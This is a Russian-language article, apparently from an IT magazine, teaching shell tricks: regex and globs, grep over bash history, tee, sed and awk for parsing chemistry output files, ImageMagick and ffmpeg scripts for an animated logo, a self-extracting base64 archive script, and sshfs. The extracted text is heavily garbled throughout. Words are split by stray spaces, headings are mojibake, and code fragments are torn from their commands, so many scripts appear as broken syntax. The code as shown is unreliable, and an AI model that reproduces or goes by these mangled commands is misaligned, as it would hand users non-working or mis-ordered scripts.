любое чис ло любых сим волов,  — один из перечис ленных,  —

один сим вол из диапа зона плюс еще нес коль ко подоб ных пра вил.

? *
[abc] [a-z]

Су щес тву ет более прод винутая вер сия — регуляр ные выраже ния (regex).
Их уже мож но исполь зовать для поис ка и замены пат тернов прак тичес ки
любой слож ности. В Bash, что бы узнать, под пада ет ли стро ка под пат терн,
задан ный регуляр ным выраже нием, исполь зует ся спе циаль ный опе ратор .

Нап ример: .

=~
[[ "abc123" =~ [a-z]+[0-9]+ ]]

Од нако в Bash реали зация регэк сов непол ная. Если понадо бит ся вся их
мощь, луч ше обра тить ся к спе циаль ным коман дам вро де ,  и  (их

мож но выз вать пря мо из Bash — об этом ниже) и скрип товым язы кам типа Perl
и Python. Так же регуляр ки мож но исполь зовать для поис ка и замены тек ста
во мно гих редак торах кода — от vi до VS Code.

grep sed awk

Ну и пос леднее — это работа со стро ками. Конс трук ция  озна -

чает, что опе ратор  ищет сов падение с шаб лоном, начиная с кон ца стро ки,
и уда ляет най ден ные фраг менты. Если исполь зовать опе ратор , то поиск

будет идти с начала.

${i%txt}png
%

#

Об рати вни мание, что в этом выраже нии зна чение перемен ной под став -
ляет ся так: сна чала знак дол лара, а затем имя перемен ной в фигур ных скоб -
ках. Это может быть неп ривыч но в срав нении с дру гими язы ками прог рамми -
рова ния. Ну а текст  прос то дописы вает ся в конец, незави симо от резуль -

тата обра бот ки стро ки.

png

Наз вание «однос троч ные скрип ты» (или «однос троч ники») весь ма
условное: здесь вмес то новой стро ки прос то исполь зует ся точ ка с запятой,
что поз воля ет объ еди нить три стро ки в одну. Так мож но соб рать длин ную
пос ледова тель ность команд и потом встав лять в тер минал одной стро кой.
Но если стро ка выходит сов сем уж гро моз дкой, луч ше офор мить ее
как отдель ный скрипт. Так будет про ще пра вить и отла живать. Да и кровь
из глаз не пой дет.

При написа нии однос троч ных скрип тов, занима -
ющих ся пере име нова нием, уда лени ем и дру гими
потен циаль но необ ратимы ми дей стви ями, край не
полез но сде лать пер вый холос той запуск. Нап -
ример, добавив перед целевой коман дой .
Это поз волит про верить, все ли работа ет так,
как ожи дает ся. В осо бо ответс твен ных слу чаях
сто ит и о бэкапе подумать. Пом ни — лиш ний про -
бел в удач ном мес те при удач ном сте чении
обсто ятель ств может снес ти полови ну сис темы,
как было в свое вре мя с обновле нием «Яндекс
Дис ка». Будь вни мате лен!

echo

UNIX-WAY

Кон цепция «все есть файл» в Unix-сис темах нераз рывно свя зана с перенап -
равле нием вывода и пай пами (они же «тру бы» и «кон вей еры»). Собс твен но,
эти механиз мы и поз воля ют реали зовать прин цип KISS (keep it simple,
stupid — «делай про ще, дурачок»). Зак люча ется он в том, что в сис теме мно го
отдель ных ути лит, каж дая из которых дела ет хорошо что-то одно, а вмес те
из них мож но соб рать сколь угод но слож ные и мощ ные ком бинации.

Нап ример, в коман дных интер пре тато рах есть замеча тель ная фун кция
вызова пре дыду щих команд с помощью стре лок вверх и вниз. Край не удоб ная
шту ка: поз воля ет не заучи вать все исполь зуемые коман ды. Дос таточ но один
раз сос тавить и выпол нить коман ду, и она запишет ся в исто рии, а потом, если
понадо бит ся, мож но будет выз вать ее в нес коль ко кли ков.

А что делать, если коман да исполь зовалась дав но? Про маты вать исто рию
из десят ков команд неудоб но. Но исто рия команд — это прос то файл 

: его мож но пос мотреть вруч ную или исполь зовать ути литу

, которая выводит спи сок из десят ка пос ледних команд с их номера -

ми.

~/.
bash_history
history

Удоб но: взгля нул на спи сок, нашел нуж ную строч ку, даже копиро вать
не надо. Прос то набира ем , жмем Enter, и коман да вновь

выпол нится. А если нажать Tab, то раз вернет ся до удоб ного для чте ния вида,
и ее мож но будет под редак тировать при необ ходимос ти.

!номер_команды

А если коман да далеко в исто рии? Нет проб лем, исполь зуем ,

где N — чис ло пре дыду щих команд, которые надо отоб разить. Так мож но
прос ледить вплоть до уста нов ки сис темы.

history -N

Впро чем, искать коман ду гла зами в огромной пор тянке тек ста не всег да
удоб но, а у тер миналов обыч но буфер строк огра ничен нес коль кими сот -
нями...

ÏÀÉÏÛ

Тут нам помогут пай пы и ути лита ! Пред ста вим, что ты вспом нил часть
коман ды и хочешь поис кать по этой стро ке. Нап ример, можем по стро ке 

поис кать скрипт, который мы писали в начале статьи.

grep
for

history -10000|grep "for i"
...
11654  for i in {0..10};do touch file"$i".txt;done
11657  for i in *txt;do echo $i ${i%txt}png;done
11658  for i in *txt;do mv $i ${i%txt}png;done

Ути лита grep ищет стро ки, под ходящие под шаб лон. Здесь, кста ти, исполь -
зуют ся уже не прос то мас ки, а пол ноцен ные регуляр ные выраже ния.

Сим вол пай па  тут переда ет вывод коман ды  на ввод ути литы

 — это и есть пайп. Хочешь в най ден ном поис кать еще раз? Прос то
добав ляешь еще пайп и еще  с новым шаб лоном! И так мож но соеди нять

сколь ко угод но раз и любые коман ды.

| history
grep

grep

ÏÅÐÅÍÀÏÐÀÂËÅÍÈÅ ÂÛÂÎÄÀ È TEE

Еще ты можешь перенап равить вывод коман ды в файл. Нап ример, если в кон -
це нашего поис ка добавить , то вывод вмес то отоб ражения

в кон соли будет записан в ука зан ный файл. Если нуж но дописать в файл,
не тро гая его содер жимое, то исполь зуют ся уже две тре уголь ные скоб ки —
нап ример, .

> results.txt

echo "Еще одна строка" >> summary.txt
А что, если нуж но и выводить на экран, и писать в файл? Для это го есть

замеча тель ная ути лита tee. Без парамет ров она соз даст новый файл, а с клю -
чом  допишет в сущес тву ющий.-a

Пред ставь, что нам надо, исполь зуя , записать стро ку в файл
 (спи сок паролей от Wi-Fi) от име ни супер поль зовате ля.

Выпол няем:

sudo
wpa_supplicant

 wpa_passphrase TP-Link_7728_5G "1234567890" |sudo tee -a /etc/wpa_
supplicant/wpa_supplicant-nl80211-wlan0.conf

За одно уви дишь на экра не, что записа но. Толь ко не забывай в таких слу чаях
про ключ , ина че пос ледс твия могут быть печаль ными.-a

SED È AWK

Этим двум ути литам, сущес тво вав шим еще с ран них вре мен Unix, мож но пос -
вятить целую кни гу. Мы же кос немся их лишь нем ного.

SED — это потоко вый тек сто вый редак тор (stream editor), а AWK — целый
язык прог рамми рова ния, ори енти рован ный на работу с тек сто выми дан ными.
Если надо что-то поменять в тек сто вом фай ле или дос тать что-то из вывода
какой-нибудь кон соль ной тул зы, то  и  — это те две коман ды, что тебя
всег да выручат.

sed awk

Итак, ситу ация: у нас есть чуть боль ше трид цати дирек торий, в каж дой
из которых лежит файл с рас ширени ем . Это огромная сте на тек ста
на нес коль ко тысяч строк, из которой нас инте ресу ет лишь одно чис ло. А на
выходе нам нуж на таб лица, в которой будет часть име ни это го фай ла
и добытое из тек ста чис ло.

.out

Учас ток фай ла с инте ресу ющим нас чис лом выг лядит вот так:

         ABSORPTION SPECTRUM VIA TRANSITION ELECTRIC DIPOLE MOMENTS

State   Energy  Wavelength   fosc         T2         TX        TY        
TZ
        (cm-1)    (nm)                  (au**2)     (au)      (au)      
(au)

   1   23578.7    424.1   0.281089926   3.92465   1.96814   0.22452   
0.02549
   2   30418.1    328.8   0.123047298   1.33173   0.06546   1.13806   
0.17905

------------------------------------------------------------------------
-----

------------------------------------------------------------------------
-----

------------------------------------------------------------------------
-----

Нас инте ресу ет пер вая стро ка, тре тий стол бец. Нас тало вре мя кон соль ной
магии!

Ре шим задачу в два захода. Пер вая коман да и резуль тат:

$find -iname "*out" -exec echo -e '\n\n' {} \; -exec grep "ABSORPTION 
SPECTRUM VIA TRANSITION ELECTRIC DIPOLE MOMENTS" -A 5 {} \; |tee temp
$head -20 temp

 
./phmeaminoisoqS0_dlpnosteomccsd_def2tzvp_spectra/phmeaminoisoqS0_dlpnos
teomccsd_def2tzvp_spectra.out
         ABSORPTION SPECTRUM VIA TRANSITION ELECTRIC DIPOLE MOMENTS

State   Energy  Wavelength   fosc         T2         TX        TY        
TZ
        (cm-1)    (nm)                  (au**2)     (au)      (au)      
(au)

   1   26257.8    380.8   0.245729179   3.08087   1.74048   0.17986   
0.13878

------------------------------------------------------------------------
-----

------------------------------------------------------------------------
-----

 
./thiomeisoqS0_dlpnosteomccsd_def2tzvp_spectra/thiomeisoqS0_dlpnosteomcc
sd_def2tzvp_spectra.out
         ABSORPTION SPECTRUM VIA TRANSITION ELECTRIC DIPOLE MOMENTS

State   Energy  Wavelength   fosc         T2         TX        TY        
TZ
        (cm-1)    (nm)                  (au**2)     (au)      (au)      
(au)

   1   27616.4    362.1   0.334355646   3.98582   1.99631   0.00763   
0.02077

------------------------------------------------------------------------
-----

------------------------------------------------------------------------
-----

Вто рая коман да и резуль тат:

phmeaminoisoqS0 380.8
thiomeisoqS0 362.1
thiomeisoq-S0 406.1
aminoisoqS1 495.3
cnisoqS0 376.2
...

$cat temp |sed 's|./||g;s/_/ /g'|awk '/dlpnosteomccsd/{bufer= $1};$1==1{
print bufer, $3}' |tee result.txt

Или мож но соб рать всё в одну длин ную коман ду:

find           
  5  

|  |awk 

-iname "*.out" -exec echo -e '\n\n' {} \; -exec grep
"ABSORPTION SPECTRUM VIA TRANSITION ELECTRIC DIPOLE MOMENTS" -A {}
\; sed 's|./||g;s/_/ /g' '/dlpnosteomccsd/{bufer= $1};$1==1{
print bufer, $3}' |tee result.txt

Раз берем под робно, что же здесь про исхо дит.
1. Сна чала коман да  ищет рекур сивно все фай лы, имя которых окан -

чива ется на  (ключ ).
find

.out -iname
2. К най ден ным фай лам при меня ются сле дующие коман ды (ключ ).

Пер вая: , она выводит имя фай ла, ключ 
нужен, что бы вывес ти перево ды стро ки. Они тут в целом не нуж ны, но если
захочет ся пос мотреть резуль тат, то так он гораз до про ще чита ется. Вмес -
то  авто мати чес ки под став ляет ся имя фай ла. Вто рая: 

 — она ищет в фай ле жела емую стро ку и выводит
ее и сле дующие пять (ключ ). Обра ти вни мание на наличие  в кон це
команд. Это тре бова ния син такси са . Любопыт но, что обыч но
в ману алах опус кают, что ключ  с коман дой  может исполь -
зовать ся нес коль ко раз.

-exec
-echo -e '\n\n' {} \; -e

{} grep
"ABSORPTION SPECTRUM VIA TRANSITION ELECTRIC DIPOLE
MOMENTS" -A 5 {} \;

-A5 \;
find -exec

-exec find

3. Да лее  уда ляет точ ку и слеш в начале имен
фай лов и заменя ет ниж нее под черки вание про белом. Пер вое — чис то
декора тив ная шту ка, а вот вто рое упро щает задачу для AWK. Обра ти вни -
мание, что здесь тоже про исхо дит сра зу две опе рации, при чем, так как в
пер вом слу чае надо заменять слеш, в качес тве раз делите ля исполь зует ся

, но это мог быть и любой дру гой сим вол.

sed 's|./||g;s/_/ /g'

|
4. Ну и пос леднее — вишен ка на тор те: 

. AWK чита ет файл пос троч но, раз -
бивая стро ку на поля, в дан ном слу чае в качес тве раз делите ля исполь зует -
ся про бел. Если находит ся стро ка с име нем, а поиск идет по обще му
для всех имен пат терну, то жела емая часть записы вает ся в перемен ную

. Ког да же находит ся стро ка с нуж ным нам чис лом, а она начина ется
с , то выводит ся ранее сох ранен ное имя и третье поле (собс твен но
желан ное чис ло). Прос то и эле ган тно.

awk '/dlpnosteomccsd/{bufer=
$1};$1==1{print bufer, $3}'

bufer
1

Ра зуме ется, написать такую коман ду с ходу получит ся далеко не всег да: тут
при ходит ся ковырять ся в ману алах и раз за разом дораба тывать про цесс,
но подоб ные конс трук ции порой сущес твен но облегча ют жизнь. Осо бен но
ког да надо обра ботать боль шое количес тво одно тип ных тек сто вых фай лов.
И заметь — все это, счи тай, стан дар тны ми средс тва ми опе раци онной сис -
темы. Вот он, Unix-way!

ÏÐÈÌÅÐ ÏÎÏÐÎÙÅ

В какой-то момент мне нуж но было вытянуть тем перату ру про цес сора
из вывода коман ды . Вот как это мож но сде лать:sensors

2}'
+42.0°C

sensors
...
CPU Fan:        0 RPM
CPU:          +41.0°C  (low  = -127.0°C, high = +95.0°C)
Ambient:      +41.0°C  (low  = -127.0°C, high = +127.0°C)
SODIMM:       +38.0°C  (low  = -127.0°C, high = +67.0°C)
Other:        +35.0°C  (low  = -127.0°C, high = +42.0°C)
...
sensors|awk '/CPU:/{print 

Нуж но вытащить тем перату ру в виде чис ла и прис воить его перемен ной?
Без проб лем:

T=$(sensors|awk '/CPU:/{print $2}'|sed 's/+//g;s/.0°C//g')
echo $T
44

Тут все прос то, коман да  выводит текст,  ищет в ней стро ку,

содер жащую , и печата ет в ней вто рое поле (по умол чанию раз -

делитель — про бел и раз делите ли объ еди няют ся),  из оставшей ся стро ки
уда ляет  и . То, что оста лось, прис ваивает ся перемен ной.

sensors awk
CPU:

sed
+ .0°C

ÏÐÈÌÅÐ ÏÎÑËÎÆÍÅÅ

У меня есть нес коль ко скрип тов, которые дела ют ряд рас четов, что бы узнать,
как будет менять ся энер гия плос кой молеку лы в зависи мос ти от ее иска -
жения: один сту пен чато иска жает геомет рию, вто рой ищет энер гетичес кий
минимум, тре тий изме ряет иска жение, а чет вертый счи тает показа тель
NICS(1)zz (если инте рес но, спро си в ком мента риях, что это).

Трип летный тро пелид-ани он в исходном и иска жен ном сос тояниях

За пус каем нес ложный скрипт, который дела ет 25 шагов опи сан ных выше рас -
четов, суть которых мы здесь рас смат ривать не будем.

#!/bin/zsh

i  0..25for in { }
do
./z_constrain_tropelid_optimisator.py "tropelidTRIPLET"$i"-.xyz"

i+1j=$(( ))
 ./modtropelid.py inc "z_constrain_tropelidTRIPLET"$i"-_r2scan_.xyz"

"tropelidTRIPLET"$j"-.xyz"
 0-6./rpc7.py "z_constrain_tropelidTRIPLET"$i"-_r2scan_.xyz"

 
0-6
nics01Zzorient_v3.py "z_constrain_tropelidTRIPLET"$i"-_r2scan_.xyz"

done

Мо леку ла неболь шая, уро вень теории невысо кий, и  машина
справ ляет ся минут за трид цать. На выходе получа ем три фай ла CSV, содер -
жащих нуж ную и кучу избы точ ной информа ции. Из них теперь надо сос тавить
финаль ный файл с ампли тудой иска жения Q, отно ситель ной энер гией E
и показа телем NICS. Разуме ется, это мож но сде лать руками в редак торе таб -
лиц, но с помощью ,  и  это сде лать про ще и быс трее. Итак,
струк тура фай лов име ет такой вид:

ра нее опи сан ная

awk sed paste

$ls -1 *csv
NICS01ZZ_v3_triplete_pbe0_pcsSeg-2_zorient.csv
puk3.csv
tropelid_z_constrain.csv

xyzfile, nics(0), nics(1)-1, nics(1)-2, nics(1)zz-1, nics(1)zz-2
z_constrain_tropelidTRIPLET0-

_nics01zz_pbe0d4_pcseg2.xyz, 
-11.192, -10.339, -10.339, -33.149, -33.149

$head -3 *.csv
==> NICS01ZZ_v3_triplete_pbe0_pcsSeg-2_zorient.csv <==

r2scannics01zz_pbe0d4_pcseg2.xyz, -11.214, 
-10.351, -10.351, -33.204, -33.204
z_constrain_tropelidTRIPLET1-_r2scan

xyzfile, q2, q3, fi2, fi3, puk amplitude Q
z_constrain_tropelidTRIPLET0- .xyz, 7.596177807784303e-12, 
1.7718824769232014e-11, 172.77764489329076, 1.200138037638803, 
1.9278450884088804e-11
z_constrain_tropelidTRIPLET1- .xyz, 0.045581948627630764, 
0.0013908367965297008, 89.59010546332463, -94.70169498229706, 
0.04560316291318564

==> puk3.csv <==

r2scan

r2scan

xyzfile, geomok, Esmall, Gsmall, Hsmall
tropelidTRIPLET0-, 0, -270.8197575933, -270.74035606, -270.7031735396
tropelidTRIPLET1-, 0, -270.8196267299, -270.7402226586, -270.7030448118

==> tropelid_z_constrain.csv <==

Из пер вого фай ла нам нуж но сред нее ариф метичес кое колонок 5 и 6 (счет
с 1). Из вто рого — пос ледняя колон ка. А из пос ледне го — пер вая и третья,
которую надо перес читать отно ситель но пер вого зна чения и дом ножить
на 627,509 (коэф фици ент перес чета из атом ных еди ниц в килока лории
на моль). Ито го сос тавля ем четыре тре буемые колон ки и объ еди няем в один
файл.

  col1awk -F', ' 'NR>1 {print $1}' tropelid_z_constrain.csv >
  col2awk -F', ' 'NR>1 {print $6}' puk3.csv >
  awk -F', ' 'NR==2{REF=$3};NR>1{E=($3-REF)*627.509;print E}' tropelid_

z_constrain.csv>col3
  

col4
awk -F', ' 'NR>1 {nics=($5+$6)/2;print nics}' NICS01ZZ_v3_triplete_
pbe0_pcsSeg-2_zorient.csv >

  paste -d',' col1 col2 col3 col4|sed 's/,/, /g' >result.csv
 head -3 result.csv

Вот каким будет вывод:

tropelidTRIPLET0-, 1.9278450884088804e-11, 0, -33.204
tropelidTRIPLET1-, 0.04560316291318564, 0.082118, -33.149
tropelidTRIPLET2-, 0.09120621984429378, 0.329708, -32.982

В этом при мере AWK опи рает ся на номера строк,  — номер текущей стро -

ки.

NR

На ибо лее инте рес на здесь третья колон ка, где референ сное зна чение
берет ся из вто рой стро ки и исполь зует ся во всех рас четах. В осталь ных слу -
чаях прос то отбра сыва ются заголов ки. В кон це получен ные колон ки объ еди -
няют в один файл с помощью коман ды , ключ  зада ет запятую

как раз делитель. SED в дан ном слу чае нужен прос то для улуч шения фор -
матиро вания — он добав ляет про бел пос ле запятой.

paste -d','
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Ка залось бы, какая еще работа с гра фикой в кон соли? Но и такое воз можно!
Сущес тву ет замеча тель ный инс тру мент ImageMagick, поз воля ющий редак -
тировать кар тинки при помощи команд. Имен но он, кста ти, исполь зует ся
в боль шинс тве онлай новых кон верте ров. С помощью ImageMagick мож но
про изво дить с изоб ражени ями самые раз ные манипу ляции, которые вов се
не огра ничи вают ся сме ной фор мата или раз мера. Мож но и рисовать,
и добав лять изоб ражения из дру гих фай лов, и мно гое дру гое.

Вмес то зна мени той Лены Сёдер берг возь мем что-нибудь пос вежее.

Продолжение статьи →
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УЧИМСЯ АВТОМАТИЗИРОВАТЬ
ДЕЙСТВИЯ В КОМАНДНОЙ СТРОКЕ
И ПРИМЕНЯТЬ МОЩНЫЕ УТИЛИТЫ

ТРЮКИ  НАЧАЛО СТАТЬИ

И кар тинку типа такой.

Эм бле ма

А еще сло ган какой-нибудь напишем, нап ример Eritis sicut Deus, scientes
bonum et malum. А теперь поп робу ем это все объ еди нить. Однос троч ной
коман дой тут не обой тись, поэто му напишем неболь шой скрипт:

#!/bin/zsh
  24 

 2  0 
  red  0 

magick -size 400x400 xc:'#00000C' -gravity center  -pointsize
-stroke black -strokewidth -annotate 'Eritis sicut Deus, 
scientes bonum et malum' -stroke none -fill -annotate 'Eritis 
sicut Deus, scientes bonum et malum' temp.png

 1%    magick temp.png -distort Arc 215 -fuzz -transparent '#00000C'
-trim temp.png

  magick -size 400x400 xc:'#00000C' -transparent '#00000C'  temp2.png
magick composite  temp.png temp2.png -gravity center -geometry +3-53 
temp.png
magick composite  red3blackcontur.png temp.png -gravity center 
-geometry +0+0  temp.png
magick temp.png -trim temp.png

 
.png
magick composite temp.png $1 -gravity south -geometry +0+0 $1_labled

За пус каем:

$./img_labeling.sh  rumkiks0.jpg

И в ито ге получа ем изоб ражение, где все объ еди нено, а текст нашего сло -
гана идет по кру гу.

Ре зуль тат работы скрип та

Да вай раз берем ся, что делал скрипт.
1. Соз даем изоб ражение из нашего тек ста в соот ветс твии с 

 ману ала.
ре комен даци -

ями
2. При меня ем  к получен ному изоб ражению тек ста, уда ляем фон

( ) и обре заем изоб ражение
(параметр ).

ис кажение
-fuzz 1% -transparent '#00000C'

-trim
3. Соз даем пус той фон, содер жащий толь ко аль фа-канал, тут это сде лано

не сов сем эле ган тно, навер няка мож но луч ше.
4.  текст на проз рачный фон. Парамет ры 

 получе ны под бором.
Нак ладыва ем -gravity center -
geometry +3-53

5. Нак ладыва ем эмбле му на фон с тек стом.
6. Об реза ем лиш ний фон. Вооб ще,  — очень удоб ная фун кция.-trim
7. И в кон це нак ладыва ем све жесоз данный логотип на исходное изоб -

ражение.

У ImageMagick под робней шая , где
мож но почер пнуть зна ния о , 

, , 
 и мно гом дру гом.

до кумен тация
ра боте с тек стом на -

ложе нии под писей ис кажении объ еди нении
изоб ражений

Кста ти, даже пос мотреть резуль тат мож но в самой кон соли! Ути лита 
выводит изоб ражение в виде ASCII-гра фики, а с клю чом  еще и в цве -

те. Хотя это, конеч но, ско рее забава, чем полез ный инс тру мент.

jp2a
--color

Впро чем, есть еще ути лита FBI (Frame Buffer Image Viewer, а не то, что ты
подумал). С ней мож но уже и нор маль но пос мотреть изоб ражение, так
как она работа ет непос редс твен но с фрей мбу фером, не исполь зуя X.Org.
Прав да, работа ет это толь ко в пол ноцен ном тер минале (перек лючить ся
на него лег ко, нажав, нап ример, Ctrl + Alt + F2).

ÂÈÄÅÎ

При помощи кон соль ных ути лит мож но соз давать даже видео. Давай поп -
робу ем на при мере. Ска жем, пусть эмбле ма вра щает ся.

Вра щение вдоль вер тикаль ной оси в 2D — это пос тепен ное сжа тие, отра -
жение и рас тяжение изоб ражения по горизон тали. А что бы вра щение визу -
аль но име ло пос тоян ную ско рость, эти изме нения дол жны про исхо дить
по синусо идаль ному закону.

Ес ли мы хотим стар товать с нор маль ного изоб ражения и счи тать его угол
поворо та за 0, то нам подой дет косинус, так как cos(0) = 1. А учи тывая, что
косинус меня ется в интерва ле [-1, 1], мас шта биро вание нам не понадо бит ся.

Та ким обра зом, для соз дания ани миро ван ного логоти па нам нуж но соз -
дать не одно изоб ражение, а, ска жем, 30 кад ров и объ еди нить их потом.

Из вес тно, что у шел ла нет натив ной под дер жки матема тики слож нее
целочис ленной, и тут уже луч ше перехо дить на Python, но у нас статья все же
про шелл, так что поп робу ем обой тись им!

Су щес тву ет прос той кон соль ный каль кулятор, сде лан ный в духе про чих
ути лит Unix, он называ ется  — basic calculator. Нес мотря на сло во basic, он

под держи вает три гоно мет ричес кие фун кции и чис ла с пла вающей точ кой.

bc

.20943951026666666666

.707

1

$echo "3.141592654*2/30"|bc -l

echo "scale=3;c(3.141592654/4)"|bc -q -l

echo "0.01 > 0.0001"|bc -q -l

С коре янка ми не будем боль ше экспе римен тировать, возь мем про изволь ную
кар тинку. Текст оста вим преж ним, эмбле му тоже, но в этот раз пусть
с обратной сто роны эмбле мы будет звез дочка.

Кар тинка

Звез дочка

Скрипт при дет ся нес коль ко усложнить. Впро чем, начало оста лось без изме -
нений. Генери руем изоб ражение тек ста, иска жаем, нак ладыва ем на проз -
рачный фон. А вот как доходит до эмбле мы, пос тупа ем ина че: для каж дого
из 30 кад ров генери руем свой угол поворо та в ради анах, вычис ляем косинус,
в зависи мос ти от зна ка косину са реша ем, какая сей час отоб ража ется сто -
рона — лицевая или тыль ная. Соот ветс тву ющую эмбле му сжи маем до нуж ной
величи ны (ключ ), ну а даль ше, как рань -

ше, нак ладыва ем на текст и все вмес те нак ладыва ем на целевую кар тинку.

-distort SRT "100,130 $COS,1 0"

#!/bin/zsh
  24 

 7  0 
  red  0 

magick -size 400x400 xc:'#00000C' -gravity center  -pointsize
-stroke black -strokewidth -annotate 'Eritis sicut Deus, 
scientes bonum et malum' -stroke none -fill -annotate 'Eritis 
sicut Deus, scientes bonum et malum' temp.png

 1%    magick temp.png -distort Arc 215 -fuzz -transparent '#00000C'
-trim temp.png

  magick -size 400x400 xc:'#00000C' -transparent '#00000C'  temp2.png
magick composite  temp.png temp2.png -gravity center -geometry +0-53 
temp.png

 |bc STEP=$(echo "3.141592654*2/30" -l)
i  0..29for in { }

do
 |bc  COS=$(echo "scale=3;c($STEP*$i)" -q -l)

 echo $COS
  i=$(printf "%03d" $i)

# Так как искажение выдает ошибку, если сжимать в ноль, то добавим 
проверку abs(COS) > 0
# Поскольку bc не умеет брать модуль, воспользуемся квадратом
   |bc   if (( $(echo "$COS^2 > 0.0001" -q -l) ))

then
 echo $i

    # С лицевой стороны рисуем эмблему COS > 0
    # С тыльной — звездочку COS < 0
       |bc   if (( $(echo "$COS > 0" -q -l) ))
    then

 SRT 
 

    magick 3only_red_black_border.png -distort "100,130  $COS,1  
0" "label"$i".png"
    else

 SRT 
 

    magick pentonly_red_black_border.png -distort "100,130  $COS,
1  0" "label"$i".png"
    fi

 +0  
    magick composite  "label"$i".png" temp.png -gravity center 
-geometry -1 "label"$i".png"

      magick "label"$i".png" -trim "label"$i".png"
      magick composite "label"$i".png" $1 -gravity south -geometry 

+77+0 "label"$i".png"
fi
done

 15   
.mp4

ffmpeg -r -i label%03d.png -y -vcodec libx264 -vf format=yuv420p 
${1%.*}

pngrm label0*

По луча ем жела емые 30 кад ров, теперь из них мож но соб рать ани миро ван ный
GIF или PNG. Но это не луч ший вари ант, так как раз мер у такой ани мации
будет немалый, а в слу чае GIF еще и цве та могут поп лыть. Луч ше, как это сей -
час обыч но дела ют, соб рать из этих кад ров видео MP4: выиг рыш в сжа тии
поч ти в десять раз.

И тут мы при ходим к ути лите  — дос таточ но извес тно му кон соль -
ному виде оре дак тору. В парамет рах ука зыва ем, что жела ем ско рость вос про -
изве дения 15 кад ров в секун ду (ключ ), сами кад ры ( ,

номера кад ров  под ста вит сам) и парамет ры видео (
 — мож но не ука зывать, но без этих парамет ров у встро -

енно го пле ера Telegram на Android быва ют проб лемы). Запус каем:

FFmpeg

-r 15 -i label%03d.png
ffmpeg -vcodec libx264

-vf format=yuv420p

./animation.sh kartinko.jpg

Ка жет ся, чего-то не хва тает... Зву ка! Давай наложим MP3 от Фра унго фера.
Но тут воз ника ет одна проб лемка — типич ный ауди отрек длит ся пару

минут, а наше видео — две секун ды. Но решить проб лему нес ложно: дос -
таточ но скле ить десяток-дру гой наших ани маций, и мы уже име ем нуж ную
дли тель ность.

#!/bin/bash
 DURATIONV=$(mediainfo --Inform="Video;%Duration%" "$1")
 DURATIONA=$(mediainfo --Inform="Audio;%Duration%" "$2")

 N=$((DURATIONA/DURATIONV + 1))
   echo $DURATIONV $DURATIONA $N

rm temp.txt
    0 while [ $N -gt ];

file do echo $1>>temp.txt;
N-1N=$(( ))

done
   ffmpeg -f concat -i temp.txt -i $2 -c copy -y ${1%.mp4}"_"${2%.mp3}".

mp4"

Син таксис у FFmpeg нес коль ко спе цифи чес кий: исходные фраг менты
переда ются в виде спис ка фай лов в тек сто вом докумен те. Понят но, что
в нашем слу чае, ког да фраг ментов десят ки, это разум но. Но все рав но стран -
но, что он не при нима ет исходные фай лы через ключ , как в про чих слу чаях.-i

Сам скрипт прост: узна ём дли тель ность аудио и видео, делим одно на дру -
гое. Докиды ваем свер ху еди ницу, что бы виде оряд был длин нее ауди одо рож -
ки, ина че при бес конеч ном пов торении изоб ражение будет зас тывать. Даль -
ше соз даем файл с адре сом нашего фраг мента, пов торен ным нуж ное чис ло
раз, и запус каем . Готово!FFmpeg

Ре зуль тат, кста ти, как и в пре дыду щем слу чае, мож но пос мотреть пря мо
в кон соли. Пле ер MPV под держи вает пря мую работу с фрей мбу фером, так
что иксы не нуж ны.

./sound_animated_logo.sh kartinko.mp4 audio.mp3
mpv kartinko_audio.mp4

Ну и напос ледок. Работу скрип та с ани маци ей мож но уско рить, если сге нери -
ровать кад ры с логоти пом заранее, что поз волит силь но сок ратить количес -
тво опе раций. А что бы не тас кать с собой эту кучу кар тинок, их мож но сло жить
в архив, а его, в свою оче редь, засунуть пря мо в скрипт, закоди ровав
в Base64. Сам скрипт теперь мож но сущес твен но сок ратить.

done

exit 0

$cat script.sh
#!/bin/zsh
tail +11 $0|base64 -d|tar x --zstd
for i in {0..29}
do
i=$(printf "%03d" $i)
magick composite "label"$i".png" $1 -gravity south -geometry \+0+0 
"label"$i".png"\

ffmpeg -r 15 -i label%03d.png -y -vcodec libx264 -vf format=yuv420p ${
1%.*}.mp4
rm label0*png

$tar -I 'zstd --ultra -22' -cf labels.tar.zst label0*.png
$base64 labels.tar.zst >> script.sh

exit 0
KLUv/QSIPDEPPI8dbGFiZWwwMDAucG5nADA2NDQxNzUwMzY0MzQAMTUwMjEyMTUAMDEyMzcw
ACAw
AHVzdGFyICAAc2hhbWFuAIlQTkcNChoKDUlIRFLw3AgGTjss3yBjSFJNAAB6JgAAgIQAAPqA
6Opg
AAA6mAAAF3CculE8BmJLR0QAAbLmyG4HdElNRQfpBxAWBwkxkJrEEGNhTnYAAAGQUE3PfZ7x
AAA7
4ElEQVR42u2dd7xkRZn3v31jD8wwBwaYO+RBCUNyBiRnMJAETMgqKGJk0VV0RVfxFdOuK66v
rFlf
XV1BN7hrXnXBNQcMgAIOIjqgwB3i7SVNT6z3j6eqT52cu0/3Pc/nUwz3pK5Tp3715KdaNDTE
NKVg

$head -15 script.sh
#!/bin/zsh
tail +11 $0|base64 -d|tar x --zstd
for i in {0..29}
do
i=$(printf "%03d" $i)
magick composite "label"$i".png" $1 -gravity south -geometry +0+0 
"label"$i".png"
done
ffmpeg -r 15 -i label%03d.png -y -vcodec libx264 -vf format=yuv420p ${
1%.*}.mp4
rm label0*png

Вмес то  мож но исполь зовать и , прос то он вхо дит в базовый набор

ути лит Arch Linux, да и сжи мает кру че.

zstd zip

При меры скрип тов на GitHub

SSH, SCP È SSHFS

Эти три ути литы поз воля ют сти рать гра ницы меж ду сво ей машиной и уда лен -
ными. При дол жной сно ров ке ста новит ся совер шенно не важ но, с какой
машины работать, лишь бы мож но было дос тучать ся по сети. Коман да 

дает воз можность уда лен ного управле ния машиной, а вку пе с очень гиб кой
воз можностью проб роса пор тов поз воля ет обхо дить NAT, соз давать прок си
и еще мно го-мно го все го.

ssh

Ути лита SCP поз воля ет копиро вать фай лы с одной машины на дру гую
с минималь ной нас трой кой, необ ходимо лишь, что бы на жела емой машине
был нас тро ен сер вер SSH. А с помощью SSHFS мож но мон тировать дирек -
тории с уда лен ной машины на локаль ную, так же исполь зуя лишь сер вер SSH.

sshfs -o reconnect,ServerAliveInterval=5,ssh_command='ssh -i ~/.ssh/
id_rsa' 192.168.0.2:/home/vasya/ srv

Как видишь, здесь ука зан ряд парамет ров. Работать будет и без них, само
собой, но так удоб нее.

Па раметр  велит про верять наличие

соеди нения раз в пять секунд и при раз рыве перепод клю чать ся. Это важ но
